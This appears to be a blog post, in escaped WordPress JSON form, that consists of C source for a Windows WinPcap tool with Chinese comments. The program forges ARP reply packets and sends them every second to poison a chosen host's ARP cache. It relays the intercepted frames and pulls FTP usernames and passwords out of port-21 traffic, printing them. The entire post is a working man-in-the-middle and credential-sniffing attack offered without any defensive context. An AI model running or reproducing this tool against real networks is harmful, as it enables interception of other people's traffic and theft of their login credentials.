#include <stdio.h>
\n#include <stdlib.h>
\n#include <string.h>
\n#include <windows.h>
\n#include <pcap.h>
\n#include <conio.h>
\n#include <winsock2.h>
\n#include <iphlpapi.h><\/p>\n
#pragma comment(lib,”ws2_32.lib”)
\n#pragma comment(lib,”Iphlpapi.lib”)
\n#pragma comment(lib,”pcap.lib”)<\/p>\n
typedef struct DLC_Header
\n{
\n unsigned char DesMAC[6]; \/\/\u4ee5\u592a\u7f51\u76ee\u7684\u5730\u5740
\n unsigned char SrcMAC[6]; \/\/\u4ee5\u592a\u7f51\u6e90\u5730\u5740
\n unsigned short EtherType; \/\/\u5e27\u7c7b\u578b
\n} DLCHEADER;<\/p>\n
typedef struct ARP_Frame
\n{
\n unsigned short HW_Type; \/\/\u786c\u4ef6\u7c7b\u578b
\n unsigned short Prot_Type; \/\/\u4e0a\u5c42\u534f\u8bae\u7c7b\u578b
\n unsigned char HW_Addr_Len; \/\/MAC\u5730\u5740\u957f\u5ea6
\n unsigned char Prot_Addr_Len; \/\/IP\u5730\u5740\u957f\u5ea6
\n unsigned short Opcode; \/\/\u64cd\u4f5c\u7801,01\u8868\u793a\u8bf7\u6c42\uff0c02\u8868\u793a\u5e94\u7b54<\/p>\n
unsigned char Send_HW_Addr[6]; \/\/\u53d1\u9001\u7aefMAC\u5730\u5740
\n unsigned char Send_Prot_Addr[4]; \/\/\u53d1\u9001\u7aefIP\u5730\u5740
\n unsigned char Targ_HW_Addr[6]; \/\/\u76ee\u6807MAC\u5730\u5740
\n unsigned char Targ_Prot_Addr[4]; \/\/\u76ee\u6807IP\u5730\u5740
\n} ARPFRAME;<\/p>\n
typedef struct ipheader
\n{
\n unsigned char ip_hl:4; \/*header length(\u62a5\u5934\u957f\u5ea6\uff09*\/
\n unsigned char ip_v:4; \/*version(\u7248\u672c)*\/
\n unsigned char ip_tos; \/*type os service\u670d\u52a1\u7c7b\u578b*\/
\n unsigned short int ip_len; \/*total length (\u603b\u957f\u5ea6)*\/
\n unsigned short int ip_id; \/*identification (\u6807\u8bc6\u7b26)*\/
\n unsigned short int ip_off; \/*fragment offset field(\u6bb5\u79fb\u4f4d\u57df)*\/
\n unsigned char ip_ttl; \/*time to live (\u751f\u5b58\u65f6\u95f4)*\/
\n unsigned char ip_p; \/*protocol(\u534f\u8bae)*\/
\n unsigned short int ip_sum; \/*checksum(\u6821\u9a8c\u548c)*\/
\n unsigned char ip_src[4]; \/*source address(\u6e90\u5730\u5740)*\/
\n unsigned char ip_dst[4]; \/*destination address(\u76ee\u7684\u5730\u5740)*\/
\n} IP;<\/p>\n
typedef struct tcpheader
\n{
\n unsigned short int sport; \/*source port (\u6e90\u7aef\u53e3\u53f7)*\/
\n unsigned short int dport; \/*destination port(\u76ee\u7684\u7aef\u53e3\u53f7)*\/
\n unsigned int th_seq; \/*sequence number(\u5305\u7684\u5e8f\u5217\u53f7)*\/
\n unsigned int th_ack; \/*acknowledgement number(\u786e\u8ba4\u5e94\u7b54\u53f7)*\/
\n unsigned char th_x:4; \/*unused(\u672a\u4f7f\u7528)*\/
\n unsigned char th_off:4; \/*data offset(\u6570\u636e\u504f\u79fb\u91cf)*\/
\n unsigned char Flags; \/*\u6807\u5fd7\u5168*\/
\n unsigned short int th_win; \/*windows(\u7a97\u53e3)*\/
\n unsigned short int th_sum; \/*checksum(\u6821\u9a8c\u548c)*\/
\n unsigned short int th_urp; \/*urgent pointer(\u7d27\u6025\u6307\u9488)*\/
\n} TCP;<\/p>\n
typedef struct
\n{
\n pcap_t *hpcap; \/\/\u7f51\u5361\u63cf\u8ff0\u5b57
\n unsigned char myIP[4]; \/\/\u672c\u673aIP
\n unsigned char myMAC[6]; \/\/\u672c\u673aMAC
\n unsigned char srcIP[4]; \/\/\u6765\u6e90IP
\n unsigned char srcMAC[6]; \/\/\u6e90MAC
\n unsigned char desMAC[6]; \/\/\u76ee\u6807MAC
\n unsigned char desIP[4]; \/\/\u76ee\u6807IP
\n char **Packet; \/\/\u6570\u636e\u5305\u6307\u9488
\n struct pcap_pkthdr pkthdr; \/\/\u50a8\u5b58\u6570\u636e\u5305\u5927\u5c0f
\n} PacketInfo;<\/p>\n
BOOL GetAdapterMAC(char *ipbuff,char *macbuff)
\n{
\n IP_ADAPTER_INFO AdapterInfo[16]; \/\/\u5b9a\u4e49\u5b58\u50a8\u7f51\u5361\u4fe1\u606f\u7684\u7ed3\u6784\u6570\u7ec4
\n DWORD ArrayLength=sizeof(AdapterInfo); \/\/\u7f13\u51b2\u533a\u957f\u5ea6
\n if(GetAdaptersInfo(AdapterInfo,&ArrayLength)!=ERROR_SUCCESS)
\n return ERROR;
\n PIP_ADAPTER_INFO PAdapterInfo=AdapterInfo;<\/p>\n
do
\n {
\n if(!strcmp(ipbuff,PAdapterInfo->IpAddressList.IpAddress.String)) break;
\n PAdapterInfo=PAdapterInfo->Next;
\n }
\n while(PAdapterInfo);<\/p>\n
memset(macbuff,NULL,6);
\n memcpy(macbuff,PAdapterInfo->Address,6); \/\/\u83b7\u53d6\u7f51\u5361MAC\u5730\u5740<\/p>\n
return TRUE;
\n}<\/p>\n
char *iptos(u_long in)
\n{
\n static char output[12][3*4+3+1];
\n static short which;
\n u_char *p;<\/p>\n
p = (u_char *)∈
\n which = (which + 1 == 12 ? 0 : which + 1);
\n sprintf(output[which], “%d.%d.%d.%d”, p[0], p[1], p[2], p[3]);
\n return output[which];
\n}<\/p>\n
BOOL ChooseDev(char *devbuff,int buffsize,char *ipbuff)
\n{
\n pcap_if_t *alldevs=NULL,*p=NULL;
\n char errbuff[PCAP_ERRBUF_SIZE];
\n int i,choose;
\n pcap_addr_t *a=NULL;<\/p>\n
memset(devbuff,NULL,buffsize);
\n if(pcap_findalldevs(&alldevs,errbuff)==-1)
\n return ERROR;<\/p>\n
for(p=alldevs,i=0; p; p=p->next)
\n {
\n printf(“%d.%s(%s)\\n”,++i,p->name,p->description);
\n if((a=p->addresses))
\n {
\n switch(a->addr->sa_family)
\n {
\n case AF_INET:
\n printf(“Address Family Name: AF_INET\\n”);
\n if (a->addr)
\n \/* Y- IP \u5730\u5740 *\/
\n printf(“Address: %s\\n”,iptos(((struct sockaddr_in *)a->addr)->sin_addr.s_addr));
\n if (a->netmask)
\n \/* Y- \u63a9\u7801 *\/
\n printf(“Netmask: %s\\n”,iptos(((struct sockaddr_in *)a->netmask)->sin_addr.s_addr));
\n break;
\n default:
\n \/* \u672a\u77e5 *\/
\n printf(“Address Family Name: Unknown\\n”);
\n break;
\n }
\n }
\n printf(“——————————————————\\n”);
\n }<\/p>\n
do
\n {
\n printf(“\u8bf7\u9009\u62e9\u4e00\u4e2a\u7f51\u5361:”);
\n fflush(stdin);
\n }
\n while(scanf(“%d”,&choose)!=1 || choose<1 ||choose>i);<\/p>\n
for(p=alldevs,i=1; i!=choose; p=p->next,i++);
\n strcat(devbuff,p->name);
\n memset(ipbuff,NULL,15);
\n a=p->addresses;
\n strcat(ipbuff,iptos(((struct sockaddr_in *)a->addr)->sin_addr.s_addr));
\n pcap_freealldevs(alldevs);<\/p>\n
return TRUE;
\n}<\/p>\n
void Fill_ARPPACKET(char *ARPPacket,int packetsize,char *desmac,char *desIP,char *srcmac,char *srcip,int op)
\n{
\n \/*
\n *ARPPacket \u6307\u5411\u5c06\u8981\u586b\u5145\u7684\u6570\u636e\u5305\u6307\u9488
\n packetsize \u6570\u636e\u5305\u5927\u5c0f
\n *desmac \u6307\u5411\u5b58\u6709\u76ee\u6807MAC\u7684\u7f13\u51b2\u533a\u5730\u5740
\n *desIP \u6307\u5411\u5b58\u6709\u76ee\u6807IP\u7684\u7f13\u51b2\u533a\u5730\u5740
\n *srcmac \u6307\u5411\u5b58\u6709\u6765\u6e90MAC\u7684\u7f13\u51b2\u533a\u5730\u5740
\n *srcip \u6307\u5411\u5b58\u6709\u6765\u6e90IP\u7684\u7f13\u51b2\u533a\u5730\u5740
\n op ARP\u5305\u7c7b\u578b
\n *\/
\n DLCHEADER *DLCHeader=(DLCHEADER *)ARPPacket;
\n ARPFRAME *ARPFrame=(ARPFRAME *)(ARPPacket+sizeof(DLCHEADER));
\n memset(ARPPacket,NULL,packetsize); \/\/\u6e05\u7a7a\u5305\u5185\u5bb9
\n\/\/\u586b\u5145\u4ee5\u592a\u7f51\u76ee\u7684\u5730\u5740
\n if(op==1) \/\/\u8868\u793aARP\u8bf7\u6c42\u5305.
\n {
\n memset(DLCHeader->DesMAC,0xff,6); \/\/\u7528ffffffffffff\u586b\u5145\u4ee5\u592a\u7f51\u5934\u76ee\u7684MAC\u5730\u5740\u3002
\n memset(ARPFrame->Targ_Prot_Addr,NULL,4);
\n memset(ARPFrame->Targ_HW_Addr,NULL,6);
\n }
\n else
\n {
\n memcpy(DLCHeader->DesMAC,desmac,6);
\n memcpy(ARPFrame->Targ_Prot_Addr,desIP,4);
\n memcpy(ARPFrame->Targ_HW_Addr,DLCHeader->DesMAC,6);
\n }<\/p>\n
\/\/\u586b\u5145\u4ee5\u592a\u7f51\u6e90\u5730\u5740
\n memcpy(DLCHeader->SrcMAC,srcmac,6);
\n memcpy(ARPFrame->Send_HW_Addr,srcmac,6);
\n \/\/\u586b\u5145ARP\u5305\u6e90IP
\n memcpy(ARPFrame->Send_Prot_Addr,srcip,4);
\n DLCHeader->EtherType=htons((unsigned short)0x0806); \/\/0x0806\u8868\u793aARP\u534f\u8bae\uff0c0x0800\u8868\u793aIP\u534f\u8bae
\n ARPFrame->HW_Addr_Len=(unsigned char)6;
\n ARPFrame->Prot_Addr_Len=(unsigned char)4;
\n ARPFrame->HW_Type=htons((unsigned short)1);
\n ARPFrame->Opcode=htons((unsigned short)op); \/\/01\u8868\u793a\u8bf7\u6c42\uff0c02\u8868\u793a\u5e94\u7b54
\n ARPFrame->Prot_Type=htons((unsigned short)0x0800);
\n}<\/p>\n
typedef struct
\n{
\n \/\/\u5b58\u653e\u55c5\u63a2\u5230\u7684\u6570\u636e
\n char srcip[16];
\n char desip[16];
\n char username[50];
\n char password[50];
\n} Sniffer_Result;<\/p>\n
void FTP_Sniffer(char *Packet,int packetsize)
\n{
\n static Sniffer_Result result= {0};
\n IP *IPHeader=(IP *)Packet;
\n TCP *TCPHeader=(TCP *)(Packet+sizeof(IP));
\n char *data=(char *)(Packet+sizeof(IP)+sizeof(TCP));
\n Packet[packetsize-2]=NULL;
\n char *p=NULL;<\/p>\n
if(strlen(data)>4 && (p=strstr(data,”USER”)))
\n {
\n if(strlen(result.username)<1)
\n {
\n strcat(result.srcip,inet_ntoa(*(struct in_addr *)IPHeader->ip_src));
\n strcat(result.desip,inet_ntoa(*(struct in_addr *)IPHeader->ip_dst));
\n strcat(result.username,p+5);
\n }
\n }
\n if(strlen(data)>4 && (p=strstr(data,”PASS”)))
\n {
\n if(strlen(result.username)>0)
\n {
\n strcat(result.password,p+5);
\n printf(“FTP:\\n\u6765\u6e90\u5730\u5740:%s\\n\u76ee\u6807\u5730\u5740:%s\\nUSER:%s\\nPASS:%s\\n”,result.srcip,result.desip,\\
\n result.username,result.password);
\n printf(“——————————————————–\\n”);
\n }
\n memset(&result,NULL,sizeof(Sniffer_Result));
\n }<\/p>\n
return;
\n}<\/p>\n
DWORD WINAPI filter(PVOID Parameter)
\n{
\n BOOL SendPacket(pcap_t *hpcap,char *Packet,int packetsize);
\n PacketInfo PI=*(PacketInfo *)Parameter;
\n char *Packet=NULL;<\/p>\n
if((Packet=(char *)malloc(PI.pkthdr.caplen*sizeof(char)))==NULL) return -1;
\n memcpy(Packet,*PI.Packet,PI.pkthdr.caplen);
\n *PI.Packet=NULL;<\/p>\n
DLCHEADER *DLCHeader=NULL;
\n IP *IPHeader=NULL;
\n TCP *TCPHeader=NULL;<\/p>\n
DLCHeader=(DLCHEADER *)Packet;
\n IPHeader=(IP *)(Packet+sizeof(DLCHEADER));
\n TCPHeader=(TCP *)(Packet+sizeof(DLCHEADER)+sizeof(IP));<\/p>\n
if(!strncmp(DLCHeader->SrcMAC,PI.srcMAC,6) && !strncmp(DLCHeader->DesMAC,PI.myMAC,6))
\n {
\n memcpy(DLCHeader->DesMAC,PI.desMAC,6);
\n SendPacket(PI.hpcap,Packet,PI.pkthdr.caplen); \/\/\u8f6c\u53d1\u6570\u636e\u5305
\n }<\/p>\n
\/\/\u68c0\u6d4b\u5e27\u4e2d\u6570\u636e\u534f\u8bae\u7c7b\u578b
\n if(ntohs(DLCHeader->EtherType)==0x0800 && IPHeader->ip_p==0x06)
\n {
\n if(ntohs(TCPHeader->dport)==21) FTP_Sniffer(IPHeader,PI.pkthdr.caplen-sizeof(DLCHEADER)); \/\/\u6355\u83b7\u5230FTP\u6570\u636e\u5305
\n }
\n free(Packet);<\/p>\n
return 0;
\n}<\/p>\n
DWORD WINAPI Ether_Sniffer(PVOID Parameter)
\n{
\n PacketInfo PI=*(PacketInfo *)Parameter;
\n pcap_t *hpcap=PI.hpcap;
\n struct pcap_pkthdr *pkthdr=NULL;
\n char *recvBuff;
\n HANDLE hFilterThread;<\/p>\n
while(TRUE)
\n {
\n if(pcap_next_ex(hpcap,&pkthdr,&recvBuff)>0)
\n {
\n PI.Packet=&recvBuff;
\n PI.pkthdr=*pkthdr;
\n CloseHandle((hFilterThread=CreateThread(NULL,0,filter,(PVOID)&PI,0,NULL)));
\n while(recvBuff);
\n }
\n }<\/p>\n
return 0;
\n}<\/p>\n
BOOL SendPacket(pcap_t *hpcap,char *Packet,int packetsize)
\n{
\n if(pcap_sendpacket(hpcap,Packet,packetsize)!=0)
\n {
\n printf(“\u6570\u636e\u5305\u53d1\u9001\u5931\u8d25\u3002\\n”);
\n return ERROR;
\n }
\n return TRUE;
\n}<\/p>\n
\npcap_t *OpenAdapter(char *devName)
\n{
\n pcap_t *hpcap=NULL;
\n char errbuf[PCAP_ERRBUF_SIZE];<\/p>\n
if((hpcap=pcap_open_live(devName, \/\/ \u8bbe\u5907\u540d
\n 65536, \/\/ \u6307\u5b9a\u8981\u6355\u6349\u7684\u6570\u636e\u5305\u7684\u90e8\u5206,65536 \u4fdd\u8bc1\u6240\u6709\u5728\u94fe\u8def\u5c42\u4e0a\u7684\u5305\u90fd\u80fd\u591f\u88ab\u6293\u5230
\n 1, \/\/ \u6df7\u6742\u6a21\u5f0f
\n 1000, \/\/ \u8bfb\u6570\u636e\u7684\u8d85\u65f6\u65f6\u95f4
\n errbuf \/\/ \u9519\u8bef\u7f13\u51b2\u533a
\n ))==NULL)
\n {
\n printf(“\u6253\u5f00\u7f51\u5361\u51fa\u9519\u3002\\n”);
\n return NULL;
\n }
\n return hpcap;
\n}
\n\/\/A>>>>>\u5355\u5411\u6b3a\u9a97>>>>>>B
\nvoid Input(char *A_MAC,char *A_IP,char *B_MAC,char *B_IP)
\n{
\n printf(“A>>>>>\u5355\u5411\u6b3a\u9a97>>>>>>B\\n”);
\n printf(“\u8bf7\u8f93\u5165A\u4e3b\u673a\u7684MAC:”);
\n fflush(stdin);
\n if(scanf(“%x-%x-%x-%x-%x-%x”,&A_MAC[0],&A_MAC[1],&A_MAC[2],&A_MAC[3],&A_MAC[4],&A_MAC[5])!=6) exit(-1);
\n printf(“\u8bf7\u8f93\u5165A\u4e3b\u673a\u7684IP:”);
\n fflush(stdin);
\n gets(A_IP);<\/p>\n
printf(“\u8bf7\u8f93\u5165B\u4e3b\u673a\u7684MAC:”);
\n fflush(stdin);
\n if(scanf(“%x-%x-%x-%x-%x-%x”,&B_MAC[0],&B_MAC[1],&B_MAC[2],&B_MAC[3],&B_MAC[4],&B_MAC[5])!=6) exit(-1);
\n printf(“\u8bf7\u8f93\u5165B\u4e3b\u673a\u7684IP:”);
\n fflush(stdin);
\n gets(B_IP);
\n}<\/p>\n
int main(int argc,char *argv[])
\n{
\n char devName[100];
\n char myIPAddress[15],myMAC[6];
\n char ARPPacket[42];
\n char A_IP[15]= {0},A_MAC[6]= {0};
\n char B_IP[15]= {0},B_MAC[6]= {0};
\n pcap_t *hpcap=NULL;
\n HANDLE hSnifferThread;
\n PacketInfo PI;
\n unsigned long A_addr,B_addr;<\/p>\n
if(ChooseDev(devName,sizeof(devName),myIPAddress)!=TRUE)
\n {
\n printf(“\u83b7\u53d6\u7f51\u5361\u5931\u8d25\u3002\\n”);
\n getch();
\n return -1;
\n }
\n \/\/\u83b7\u53d6\u672c\u673a\u7f51\u5361MAC
\n if(GetAdapterMAC(myIPAddress,myMAC)!=TRUE)
\n {
\n printf(“\u83b7\u53d6\u7f51\u5361MAC\u5931\u8d25\u3002\\n”);
\n getch();
\n return -1;
\n }
\n \/\/\u6253\u5f00\u7f51\u5361
\n if((hpcap=OpenAdapter(devName))==NULL)
\n {
\n printf(“\u7f51\u5361\u6253\u5f00\u51fa\u9519\u3002\\n”);
\n getch();
\n return -1;
\n }<\/p>\n
\/\/\u8f93\u5165\u6b3a\u9a97\u4e3b\u673a\u4fe1\u606f A>>>>>\u5355\u5411\u6b3a\u9a97>>>>>>B
\n Input(A_MAC,A_IP,B_MAC,B_IP);
\n A_addr=inet_addr(A_IP);
\n B_addr=inet_addr(B_IP);
\n \/\/\u4ee5ARP\u5e94\u7b54\u7684\u65b9\u5f0f\u6b3a\u9a97\u4e3b\u673aA
\n Fill_ARPPACKET(ARPPacket,sizeof(ARPPacket),A_MAC,(char *)&A_addr,myMAC,(char *)&B_addr,2);<\/p>\n
\/\/\u586b\u5145\u4f20\u9012\u53c2\u6570
\n PI.hpcap=hpcap;
\n memcpy(PI.srcMAC,A_IP,6);
\n memcpy(PI.desIP,(char *)&B_addr,4);
\n memcpy(PI.desMAC,B_MAC,6);
\n memcpy(PI.srcIP,(char *)&A_addr,4);
\n memcpy(PI.myIP,myIPAddress,4);
\n memcpy(PI.myMAC,myMAC,6);
\n \/\/\u5f00\u542f\u55c5\u63a2\u7ebf\u7a0b
\n CloseHandle((hSnifferThread=CreateThread(NULL,0,Ether_Sniffer,(PVOID)&PI,0,NULL)));<\/p>\n
while(1)
\n {
\n Sleep(1000);
\n SendPacket(hpcap,ARPPacket,sizeof(ARPPacket)); \/\/\u53d1\u9001ARP\u6b3a\u9a97\u5305
\n }<\/p>\n
return 0;
\n}<\/p>\n
<\/p>\n","protected":false},"excerpt":{"rendered":"
#include <stdio.h>
\n#include <stdlib.h>
\n#include <string.h>
\n#include <windows.h>
\n#include <pcap.h>
\n#include <conio.h>
\n#include <winsock2.h>
\n#include <iphlpa…<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[324],"tags":[],"class_list":["post-46","post","type-post","status-publish","format-standard","hentry"],"yoast_head":"\n